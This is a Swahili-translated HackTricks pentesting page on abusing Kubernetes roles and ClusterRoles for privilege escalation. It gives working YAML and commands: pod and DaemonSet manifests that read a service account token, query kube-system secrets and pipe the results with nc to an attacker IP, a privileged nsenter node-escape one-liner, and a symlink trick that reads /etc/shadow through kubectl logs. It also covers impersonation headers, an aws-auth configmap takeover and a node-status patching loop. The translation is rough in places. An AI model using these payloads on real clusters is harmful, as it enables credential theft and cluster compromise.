Abusing Roles/ClusterRoles in Kubernetes

Jifunze kuhusu udukuzi wa AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

Hapa unaweza kupata mipangilio ya Majukumu na ClusterRoles inayoweza kuwa hatari. Kumbuka unaweza kupata rasilimali zote zinazoungwa mkono kwa kutumia kubectl api-resources

Kupandisha Hadhi

Kukusudia kama sanaa ya kupata upatikanaji wa mamlaka tofauti ndani ya kikundi na mamlaka tofauti (ndani ya kikundi cha kubernetes au kwenye mawingu ya nje) kuliko zile unazo tayari, katika Kubernetes kuna msingi wa njia 4 kuu za kupandisha hadhi:

  • Kuweza kujifanya mtumiaji/makundi/SAs wengine wenye mamlaka bora ndani ya kikundi cha kubernetes au kwenye mawingu ya nje

  • Kuweza kuunda/kusahihisha/kutekeleza podi ambapo unaweza kupata au kuambatisha SAs wenye mamlaka bora ndani ya kikundi cha kubernetes au kwenye mawingu ya nje

  • Kuweza kusoma siri kwani vitambulisho vya SAs hufungwa kama siri

  • Kuweza kutoroka kwenye node kutoka kwa chombo, ambapo unaweza kuiba siri zote za vyombo vinavyotumika kwenye node, vyeti vya node, na ruhusa za node ndani ya wingu inayotumika (ikiwapo ipo)

  • Njia ya tano inayostahili kutajwa ni uwezo wa kutekeleza port-forward kwenye podi, kwani unaweza kuwa na uwezo wa kupata rasilimali muhimu ndani ya podi hiyo.

Kupata Rasilimali au Kitendo chochote (Wildcard)

Wildcard (*) hutoa idhini juu ya rasilimali yoyote na kitendo chochote. Hutumiwa na wasimamizi. Ndani ya ClusterRole hii inamaanisha kwamba mshambuliaji anaweza kutumia eneo lolote katika kikundi

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["*"]

Pata Upatikanaji wa Rasilimali Yoyote na kitendo maalum

Katika RBAC, idhini fulani zinaleta hatari kubwa:

  1. create: Inatoa uwezo wa kuunda rasilimali yoyote ya kikundi, ikileta hatari ya kupandishwa kwa mamlaka.

  2. list: Inaruhusu orodha ya rasilimali zote, ikileta hatari ya kuvuja kwa data nyeti.

  3. get: Inaruhusu kupata siri kutoka kwa akaunti za huduma, ikileta tishio la usalama.

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["create", "list", "get"]

Kujenga Podi - Kuiba Kitufe

Mshambuliaji mwenye ruhusa ya kujenga podi, anaweza kuambatanisha Akaunti ya Huduma yenye mamlaka ndani ya podi na kuiba kitufe ili kujifanya kuwa Akaunti ya Huduma. Kimsingi kuongeza mamlaka kwake

Mfano wa podi ambayo itaiba kitufe cha akaunti ya huduma ya bootstrap-signer na kukituma kwa mshambuliaji:

apiVersion: v1
kind: Pod
metadata:
name: alpine
namespace: kube-system
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true

Kuunda na Kutoroka Kwenye Podi

Yafuatayo yanabainisha mamlaka yote ambayo kontena inaweza kuwa nayo:

  • Upatikanaji wa mamlaka (kulemaza ulinzi na kuweka uwezo)

  • Lemaza hostIPC na hostPid ambayo inaweza kusaidia kuinua mamlaka

  • Lemaza hostNetwork namespace, ikitoa ufikiaji wa kuiba mamlaka ya wingu la node na ufikiaji bora wa mitandao

  • Pachika / ya mwenyeji ndani ya kontena

apiVersion: v1
kind: Pod
metadata:
name: ubuntu
labels:
app: ubuntu
spec:
# Uncomment and specify a specific node you want to debug
# nodeName: <insert-node-name-here>
containers:
- image: ubuntu
command:
- "sleep"
- "3600" # adjust this as needed -- use only as long as you need
imagePullPolicy: IfNotPresent
name: ubuntu
securityContext:
allowPrivilegeEscalation: true
privileged: true
#capabilities:
#  add: ["NET_ADMIN", "SYS_ADMIN"] # add the capabilities you need https://man7.org/linux/man-pages/man7/capabilities.7.html
runAsUser: 0 # run as root (or any other user)
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never # we want to be intentional about running this pod
hostIPC: true # Use the host's ipc namespace https://www.man7.org/linux/man-pages/man7/ipc_namespaces.7.html
hostNetwork: true # Use the host's network namespace https://www.man7.org/linux/man-pages/man7/network_namespaces.7.html
hostPID: true # Use the host's pid namespace https://man7.org/linux/man-pages/man7/pid_namespaces.7.htmlpe_
volumes:
- name: host-volume
hostPath:
path: /

Unda podi na:

kubectl --token $token create -f mount_root.yaml

Mstari mmoja kutoka twee hii na na baadhi ya marekebisho:

kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'

Sasa unaweza kutoroka kwa mbinu za ukaguzi wa baada ya uharibifu kwenye node:

Kujificha

Labda unataka kuwa mzito zaidi, kwenye kurasa zifuatazo unaweza kuona unachoweza kupata ufikiaji ikiwa utaunda podu ikiwezesha baadhi ya ruhusa zilizotajwa katika templeti iliyotangulia:

  • Ruhusa + hostPID

  • Ruhusa pekee

  • hostPath

  • hostPID

  • hostNetwork

  • hostIPC

Unaweza kupata mfano wa jinsi ya kuunda/kutumia mizunguko ya podu iliyopewa ruhusa hapo awali katika https://github.com/BishopFox/badPods

Kuunda Podu - Hamia kwenye wingu

Ikiwa unaweza kuunda podu (na hiari akaunti ya huduma) unaweza kuwa na uwezo wa kupata ruhusa katika mazingira ya wingu kwa kupitisha majukumu ya wingu kwa podu au akaunti ya huduma na kisha kufikia. Zaidi ya hayo, ikiwa unaweza kuunda podu na nafasi ya mtandao wa mwenyeji unaweza kuiba jukumu la IAM la mfano wa node.

Kwa habari zaidi angalia:

pagePod Escape Privileges

Kuunda/Kurekebisha Upelekaji, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs na Cronjobs

Inawezekana kutumia vibali hivi kwa kuunda podu mpya na kudanganya ruhusa kama katika mfano uliotangulia.

Yaml ifuatayo inaunda daemonset na kuchukua tokeni ya SA ndani ya podu:

apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: kube-system
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']
volumeMounts:
- mountPath: /root
name: mount-node-root
volumes:
- name: mount-node-root
hostPath:
path: /

Pods Exec

pods/exec ni rasilimali katika kubernetes inayotumika kwa kutekeleza amri katika kikasha ndani ya kisanduku. Hii inaruhusu kutekeleza amri ndani ya vyombo au kupata kikasha ndani.

Hivyo basi, ni fasihi kuingia katika kisanduku na kuiba tokeni ya SA, au kuingia katika kisanduku cha kipekee, kutoroka kwenye node, na kuiba tokeni zote za visanduku kwenye node na (ku)tumia node:

kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh

port-forward

Haki hii inaruhusu kusonga mmoja wa bandari za ndani kwenda kwa bandari moja kwenye pod iliyotajwa. Hii inalenga kuwezesha kutatua matatizo ya programu zinazoendesha ndani ya pod kwa urahisi, lakini mshambuliaji anaweza kutumia vibaya kupata ufikiaji wa programu zenye umuhimu (kama DBs) au zilizo na mapungufu (mitandao?) ndani ya pod:

kubectl port-forward pod/mypod 5000:5000

Weka wa Mwenyeji /var/log/ Kutoroka

Kama ilivyoelezwa katika utafiti huu, ikiwa unaweza kupata au kuunda podi na hosts /var/log/ directory imewekwa ndani yake, unaweza kutoroka kutoka kwenye chombo. Hii ni kimsingi kwa sababu wakati Kube-API inajaribu kupata magogo ya chombo (kwa kutumia kubectl logs <pod>), inaomba faili ya 0.log ya podi kwa kutumia njia ya /logs/ ya huduma ya Kubelet. Huduma ya Kubelet inafunua njia ya /logs/ ambayo kimsingi ni kufunua mfumo wa faili wa /var/log wa chombo.

Hivyo, mshambuliaji mwenye upatikanaji wa kuandika kwenye folda ya /var/log/ ya chombo anaweza kutumia tabia hizi kwa njia 2:

  • Kubadilisha faili ya 0.log ya chombo chake (kawaida iko katika /var/logs/pods/namespace_pod_uid/container/0.log) iwe symlink inayoashiria /etc/shadow kwa mfano. Kisha, utaweza kuchukua faili ya kivuli ya mwenyeji kwa kufanya:

kubectl logs escaper
failed to get parse function: unsupported log format: "root::::::::\n"
kubectl logs escaper --tail=2
failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n"
# Keep incrementing tail to exfiltrate the whole file
  • Ikiwa mshambuliaji ana udhibiti wa msingi wowote na ruhusa ya kusoma nodes/log, anaweza tu kuunda symlink katika /host-mounted/var/log/sym kwenda / na wakati wa kufikia https://<gateway>:10250/logs/sym/ atapata orodha ya mfumo wa mizizi wa mwenyeji (kubadilisha symlink inaweza kutoa ufikiaji wa faili).

curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/'
<a href="bin">bin</a>
<a href="data/">data/</a>
<a href="dev/">dev/</a>
<a href="etc/">etc/</a>
<a href="home/">home/</a>
<a href="init">init</a>
<a href="lib">lib</a>
[...]

Maabara na shambulizi lililoautomatiki linaweza kupatikana katika https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts

Kupitisha ulinzi wa readOnly

Ikiwa una bahati ya kutosha na uwezo wa uwezo uliopewa kwa kiwango kikubwa CAP_SYS_ADMIN upo, unaweza tu kurejesha upya folda kama rw:

mount -o rw,remount /hostlogs/

Kupitisha ulinzi wa hostPath readOnly

Kama ilivyoelezwa katika utafiti huu niwezekanavyo kupitisha ulinzi:

allowedHostPaths:
- pathPrefix: "/foo"
readOnly: true

Ambayo ilikuwa imekusudiwa kuzuia kutoroka kama ile za awali, badala ya kutumia ujumuishaji wa hostPath, tumia PersistentVolume na PersistentVolumeClaim kuunganisha folda za mwenyeji kwenye chombo na ufikiaji wa kuandika:

apiVersion: v1
kind: PersistentVolume
metadata:
name: task-pv-volume-vol
labels:
type: local
spec:
storageClassName: manual
capacity:
storage: 10Gi
accessModes:
- ReadWriteOnce
hostPath:
path: "/var/log"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
name: task-pv-claim-vol
spec:
storageClassName: manual
accessModes:
- ReadWriteOnce
resources:
requests:
storage: 3Gi
---
apiVersion: v1
kind: Pod
metadata:
name: task-pv-pod
spec:
volumes:
- name: task-pv-storage-vol
persistentVolumeClaim:
claimName: task-pv-claim-vol
containers:
- name: task-pv-container
image: ubuntu:latest
command: [ "sh", "-c", "sleep 1h" ]
volumeMounts:
- mountPath: "/hostlogs"
name: task-pv-storage-vol

Kujifanya kuwa akaunti zenye mamlaka

Kwa ujanja wa mtumiaji wa mamlaka, mkaidi anaweza kujifanya kuwa akaunti yenye mamlaka.

Tumia kipengele --as=<jina la mtumiaji> katika amri ya kubectl kujifanya kuwa mtumiaji, au --as-group=<kikundi> kujifanya kuwa kikundi:

kubectl get pods --as=system:serviceaccount:kube-system:default
kubectl get secrets --as=null --as-group=system:masters

Au tumia REST API:

curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
-H "Impersonate-Group: system:masters"\
-H "Impersonate-User: null" \
-H "Accept: application/json" \
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

Kupata Siri

Ruhusa ya kupata siri inaweza kuruhusu mshambuliaji kusoma siri hizo kwa kufikia kipengele cha API ya REST:

curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

Kusoma siri - kufanya nguvu kwa token IDs

Mtu anayeshambulia aliye na token yenye ruhusa ya kusoma anahitaji jina sahihi la siri kutumia, tofauti na ruhusa pana ya kutaja siri, bado kuna udhaifu. Akaunti za huduma za msingi katika mfumo zinaweza kuhesabiwa, kila moja ikihusishwa na siri. Siri hizi zina muundo wa jina: kipimo cha msingi kifuatiwacho na token ya herufi tano za nambari na herufi (isipokuwa herufi fulani) kulingana na msimbo wa chanzo.

Token hutengenezwa kutoka kwa seti iliyopunguzwa ya herufi 27 (bcdfghjklmnpqrstvwxz2456789), badala ya safu kamili ya nambari na herufi. Kikomo hiki hupunguza jumla ya mchanganyiko uwezekanao hadi 14,348,907 (27^5). Kwa hivyo, mtu anayeshambulia anaweza kutekeleza shambulio la nguvu kwa urahisi kudokeza token katika masaa machache, ikisababisha uwezekano wa kupanda hadhi kwa kupata akaunti nyeti za huduma.

Maombi ya Kusaini Cheti

Ikiwa una vitenzi umba katika rasilimali certificatesigningrequests (au angalau katika certificatesigningrequests/nodeClient). Unaweza kuunda CeSR mpya ya node mpya.

Kulingana na nyaraka inawezekana kuidhinisha maombi haya moja kwa moja, hivyo katika kesi hiyo hauitaji ruhusa ziada. Vinginevyo, utahitaji kuweza kuidhinisha ombi, ambalo linamaanisha kusasisha katika certificatesigningrequests/approval na idhinisha katika signers na jina la rasilimali <signerNameDomain>/<signerNamePath> au <signerNameDomain>/*

Mfano wa jukumu lenye ruhusa zote zinazohitajika ni:

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: csr-approver
rules:
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests
verbs:
- get
- list
- watch
- create
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests/approval
verbs:
- update
- apiGroups:
- certificates.k8s.io
resources:
- signers
resourceNames:
- example.com/my-signer-name # example.com/* can be used to authorize for all signers in the 'example.com' domain
verbs:
- approve

Kwa hivyo, na CSR mpya ya node ikiridhishwa, unaweza kutumia vibaya ruhusa maalum za nodes ili kuiba siri na kupandisha viwango vya ruhusa.

Katika chapisho hili na hili lingine usanidi wa GKE K8s TLS Bootstrap umesanidiwa na kuidhinisha kiotomatiki na inatumiwa kuzalisha sifa za Node mpya ya K8s na kisha kutumia hizo kwa kupandisha viwango vya ruhusa kwa kuiba siri. Ikiwa una ruhusa zilizotajwa unaweza kufanya kitu kama hicho. Tafadhali kumbuka kuwa mfano wa kwanza unapuuza kosa linalozuia node mpya kupata siri ndani ya vyombo kwa sababu node inaweza tu kupata siri za vyombo vilivyofungwa kwake.

Njia ya kuzidi hili ni kwa kusimamisha tu sifa za node kwa jina la node ambapo chombo chenye siri za kuvutia kimefungwa ( lakini angalia jinsi ya kufanya hivyo katika chapisho la kwanza):

"/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1"

AWS EKS aws-auth configmaps

Wahusika wanaoweza kuhariri configmaps katika eneo la kube-system kwenye mizizi ya EKS (inahitaji kuwa kwenye AWS) wanaweza kupata mamlaka ya msimamizi wa mizizi kwa kubadilisha configmap ya aws-auth. Vibweta vinavyohitajika ni update na patch, au create ikiwa configmap haikuundwa:

# Check if config map exists
get configmap aws-auth -n kube-system -o yaml

## Yaml example
apiVersion: v1
kind: ConfigMap
metadata:
name: aws-auth
namespace: kube-system
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node:{{EC2PrivateDNSName}}
groups:
- system:masters

# Create donfig map is doesn't exist
## Using kubectl and the previous yaml
kubectl apply -f /tmp/aws-auth.yaml
## Using eksctl
eksctl create iamidentitymapping --cluster Testing --region us-east-1 --arn arn:aws:iam::123456789098:role/SomeRoleTestName --group "system:masters" --no-duplicate-arns

# Modify it
kubectl edit -n kube-system configmap/aws-auth
## You can modify it to even give access to users from other accounts
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node:{{EC2PrivateDNSName}}
groups:
- system:masters
mapUsers: |
- userarn: arn:aws:iam::098765432123:user/SomeUserTestName
username: admin
groups:
- system:masters

Unaweza kutumia aws-auth kwa uthabiti kutoa upatikanaji kwa watumiaji kutoka akaunti nyingine.

Hata hivyo, aws --profile other_account eks update-kubeconfig --name <jina-la-kikundi> haitafanya kazi kutoka kwenye akaunti tofauti. Lakini kwa kweli aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing inafanya kazi ikiwa unaweka ARN ya kikundi badala ya jina tu. Ili kufanya kubectl ifanye kazi, hakikisha tu kuweka mazingira ya kubeconfig ya waathiriwa na katika vigezo vya aws exec ongeza --profile other_account_role ili kubectl itumie wasifu wa akaunti nyingine kupata token na kuwasiliana na AWS.

Kuongeza Mamlaka katika GKE

Kuna njia 2 za kutoa ruhusa za K8s kwa mawakala wa GCP. Katika kila kesi, mawakala pia wanahitaji ruhusa ya container.clusters.get ili waweze kukusanya vibali vya kupata kikundi, au utahitaji kuunda faili yako ya kikundi cha kubectl (fuata kiungo kifuatacho).

Unapozungumza na kisitiri cha api cha K8s, tokeni ya uthibitishaji wa GCP itatumwa. Kisha, GCP, kupitia kisitiri cha api cha K8s, kwanza itaangalia ikiwa mawakala (kwa barua pepe) ana upatikanaji wowote ndani ya kikundi, kisha itaangalia ikiwa ana upatikanaji wowote kupitia GCP IAM. Ikiwa mojawapo ya hizo ni kweli, atajibiwa. Ikiwa sivyo kosa linalopendekeza kutoa ruhusa kupitia GCP IAM litatolewa.

Kisha, njia ya kwanza ni kutumia GCP IAM, ruhusa za K8s zina ruhusa sawa za GCP IAM, na ikiwa mawakala anazo, ataweza kuzitumia.

pageGCP - Container Privesc

Njia ya pili ni kutoa ruhusa za K8s ndani ya kikundi kwa kutambua mtumiaji kwa barua pepe yake (akaunti za huduma za GCP pia zimejumuishwa).

Unda kitufe cha akaunti ya huduma

Mawakala wanaoweza kuunda Ombi la Kitufe (serviceaccounts/token) Wanapozungumza na kisitiri cha api cha K8s SAs (habari kutoka hapa).

ephemeralcontainers

Mawakala wanaoweza kuboresha au kupachika pods/ephemeralcontainers wanaweza kupata utekelezaji wa nambari kwenye podi zingine, na kwa uwezekano kuvunja kwenye nodi yao kwa kuongeza chombo cha muda mfupi na muktadha wa usalama uliopewa ruhusa

ValidatingWebhookConfigurations au MutatingWebhookConfigurations

Mawakala wenye vitendo vyovyote vya kuunda, kuboresha au kupachika juu ya validatingwebhookconfigurations au mutatingwebhookconfigurations wanaweza kuwa na uwezo wa kuunda moja ya webhookconfigurations ili kuweza kuongeza mamlaka.

Kwa mfano wa mutatingwebhookconfigurations angalia sehemu hii ya chapisho hili.

Kuongeza

Kama unavyoweza kusoma katika sehemu ifuatayo: Kuzuia Kuongezeka kwa Mamlaka Imejengwa, mawakala hawezi kusasisha wala kuunda majukumu au majukumu ya kikundi bila kuwa na vibali vipya hivyo. Isipokuwa ikiwa ana kitendo kuongeza juu ya majukumu au majukumu ya kikundi. Kisha anaweza kusasisha/kuunda majukumu mapya, majukumu ya kikundi na vibali bora kuliko vile alivyo navyo.

Nodi za proksi

Mawakala wenye upatikanaji wa nodes/proxy subresource wanaweza kutekeleza nambari kwenye podi kupitia API ya Kubelet (kulingana na hii). Taarifa zaidi kuhusu uthibitishaji wa Kubelet katika ukurasa huu:

pageKubelet Authentication & Authorization

Unayo mfano wa jinsi ya kupata RCE ukiwa umethibitishwa kwa API ya Kubelet hapa.

Futa podi + nodi zisizoweza kuhesabiwa

Mawakala wanaoweza kufuta podi (futa kitendo juu ya rasilimali ya pods), au kufukuza podi (unda kitendo juu ya rasilimali ya pods/eviction), au badilisha hali ya podi (upatikanaji wa pods/status) na wanaweza kuifanya nodi zingine zisizoweza kuhesabiwa (upatikanaji wa nodes/status) au kufuta nodi (futa kitendo juu ya rasilimali ya nodes) na wana udhibiti juu ya podi, wanaweza kuiba podi kutoka kwenye nodi zingine ili ziwe zinatekelezwa kwenye nodi iliyoharibiwa na mkaidi anaweza kuiba vibali kutoka kwa podi hizo.

patch_node_capacity(){
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
}

while true; do patch_node_capacity <id_other_node>; done &
#Launch previous line with all the nodes you need to attack

kubectl delete pods -n kube-system <privileged_pod_name>

Hali ya Huduma (CVE-2020-8554)

Wahusika wanaoweza kurekebisha huduma/hali wanaweza kuweka uga wa status.loadBalancer.ingress.ip kutumia CVE-2020-8554 ambayo haijasahihishwa na kuanzisha mashambulizi ya MiTM dhidi ya kikundi. Hatua nyingi za kuzui CVE-2020-8554 zinazuia huduma za ExternalIP tu (kulingana na hii).

Hali za Nodes na Pods

Wahusika wenye ruhusa za sasisha au patch juu ya nodes/hali au pods/hali, wanaweza kurekebisha lebo ili kuathiri vikwazo vya upangaji vilivyowekwa.

Kuzuia Kupandishwa Kwa Hadhi Kujengwa Ndani

Kubernetes ina mfumo uliojengwa wa kuzuia kupandishwa kwa hadhi.

Mfumo huu unahakikisha kwamba watumiaji hawawezi kuinua hadhi zao kwa kurekebisha majukumu au vifungo vya majukumu. Utekelezaji wa sheria hii hufanyika kwenye kiwango cha API, kutoa kinga hata wakati msimamizi wa RBAC hajafanya kazi.

Sheria inabainisha kwamba mtumiaji anaweza tu kuunda au kusasisha jukumu ikiwa wanamiliki ruhusa zote zinazojumuisha jukumu hilo. Zaidi ya hayo, wigo wa ruhusa za mtumiaji uliopo lazima uendane na ule wa jukumu wanajaribu kuunda au kurekebisha: ama kwa kiwango cha kikundi kwa ClusterRoles au kikwazo kwa eneo moja (au kikundi kwa kiwango cha kikundi) kwa Roles.

Kuna ubaguzi kwa sheria iliyotangulia. Ikiwa msingi ana kitenzi inua juu ya majukumu au majukumu ya kikundi anaweza kuongeza hadhi ya majukumu na majukumu ya kikundi hata bila kuwa na ruhusa mwenyewe.

Pata & Sasisha Vifungo vya Majukumu/Majukumu ya Kikundi

Inaonekana mbinu hii ilifanya kazi hapo awali, lakini kulingana na majaribio yangu sasa haifanyi kazi tena kwa sababu ile ile iliyoelezwa katika sehemu iliyotangulia. Huwezi kuunda/kurekebisha kifungo cha jukumu kumpa wewe mwenyewe au SA tofauti baadhi ya ruhusa ikiwa huna tayari.

Ruhusa ya kuunda Vifungo vya Majukumu inamruhusu mtumiaji kufunga majukumu kwa akaunti ya huduma. Ruhusa hii inaweza kusababisha kupandishwa kwa hadhi kwa sababu inamruhusu mtumiaji kufunga ruhusa za msimamizi kwa akaunti ya huduma iliyoharibiwa.

Mashambulizi Mengine

Programu ya upande wa pembeni

Kwa chaguo-msingi hakuna usimbaji katika mawasiliano kati ya makasha. Uthibitisho wa pande zote, podi hadi podi.

Unda programu ya upande wa pembeni

Unda faili yako .yaml

kubectl run app --image=bash --command -oyaml --dry-run=client > <appName.yaml> -- sh -c 'ping google.com'

Hariri faili yako .yaml na ongeza mistari isiyokuwa na maoni:

#apiVersion: v1
#kind: Pod
#metadata:
#  name: security-context-demo
#spec:
#  securityContext:
#    runAsUser: 1000
#    runAsGroup: 3000
#    fsGroup: 2000
#  volumes:
#  - name: sec-ctx-vol
#    emptyDir: {}
#  containers:
#  - name: sec-ctx-demo
#    image: busybox
command: [ "sh", "-c", "apt update && apt install iptables -y && iptables -L && sleep 1h" ]
securityContext:
capabilities:
add: ["NET_ADMIN"]
#   volumeMounts:
#   - name: sec-ctx-vol
#     mountPath: /data/demo
#   securityContext:
#     allowPrivilegeEscalation: true

Angalia kumbukumbu za proksi:

kubectl logs app -C proxy

Maelezo zaidi kwenye: https://kubernetes.io/docs/tasks/configure-pod-container/security-context/

Msimamizi wa Udhibiti wa Kuingilia kati wa Nia Mbaya

Msimamizi wa kuingilia kati huzuia maombi kwa seva ya API ya Kubernetes kabla ya kudumu kwa kitu, lakini baada ya ombi kuthibitishwa na kuruhusiwa.

Ikiwa mshambuliaji kwa namna fulani anafanikiwa kuingiza Msimamizi wa Kuingilia kati wa Kugeuza, ataweza kurekebisha maombi yaliyothibitishwa tayari. Kwa kuwa na uwezo wa kuboresha hali, na mara nyingi kudumu kwenye kikundi.

Mfano kutoka https://blog.rewanthtammana.com/creating-malicious-admission-controllers:

git clone https://github.com/rewanthtammana/malicious-admission-controller-webhook-demo
cd malicious-admission-controller-webhook-demo
./deploy.sh
kubectl get po -n webhook-demo -w

Angalia hali ili uone ikiwa iko tayari:

kubectl get mutatingwebhookconfigurations
kubectl get deploy,svc -n webhook-demo
mutating-webhook-status-check.PNG

Kisha tumia pod mpya:

kubectl run nginx --image nginx
kubectl get po -w

Wakati unapoona kosa la ErrImagePull, angalia jina la picha kwa kutumia mojawapo ya maswali yafuatayo:

kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}'
kubectl describe po nginx | grep "Image: "
malicious-admission-controller.PNG

Kama unavyoweza kuona kwenye picha hapo juu, tulijaribu kukimbia picha ya nginx lakini picha iliyotekelezwa mwishowe ni rewanthtammana/malicious-image. Kilichotokea!!

Technicalities

Skripti ya ./deploy.sh inaanzisha kudhibiti kibali cha kuingiza kibali, ambacho hubadilisha maombi kwa API ya Kubernetes kama ilivyoelezwa katika mistari yake ya usanidi, ikichochea matokeo yanayoonekana:

patches = append(patches, patchOperation{
Op:    "replace",
Path:  "/spec/containers/0/image",
Value: "rewanthtammana/malicious-image",
})

Mbinu Bora

Kulemaza Automount ya Vitambulisho vya Akaunti ya Huduma

  • Pods na Akaunti za Huduma: Kwa chaguo-msingi, pods hufunga kitambulisho cha akaunti ya huduma. Ili kuboresha usalama, Kubernetes inaruhusu kulemaza kipengele hiki cha automount.

  • Jinsi ya Kuomba: Weka automountServiceAccountToken: false katika usanidi wa akaunti za huduma au pods kuanzia toleo la Kubernetes 1.6.

Uteuzi wa Mtumiaji wa Kizuizi katika RoleBindings/ClusterRoleBindings

  • Kuingizwa kwa Hiari: Hakikisha kuwa watumiaji muhimu pekee ndio wanaojumuishwa katika RoleBindings au ClusterRoleBindings. Fanya ukaguzi mara kwa mara na ondoa watumiaji wasiohusika ili kudumisha usalama thabiti.

Vitu vya Majukumu Maalum kwa Majukumu ya Kikundi kwa Upanuzi wa Kikoa

  • Majukumu dhidi ya Majukumu ya Kikundi: Pendekeza kutumia Majukumu na RoleBindings kwa ruhusa za kikoa maalum badala ya ClusterRoles na ClusterRoleBindings, ambayo yanatumika kwa upana wa kikundi. Mbinu hii hutoa udhibiti bora na kikomo cha ruhusa.

Tumia zana za kiotomatiki

Vyanzo

Jifunze kuhusu kuvamia AWS kutoka mwanzo hadi kuwa shujaa na htARTE (HackTricks AWS Red Team Expert)!

Njia nyingine za kusaidia HackTricks:

Last updated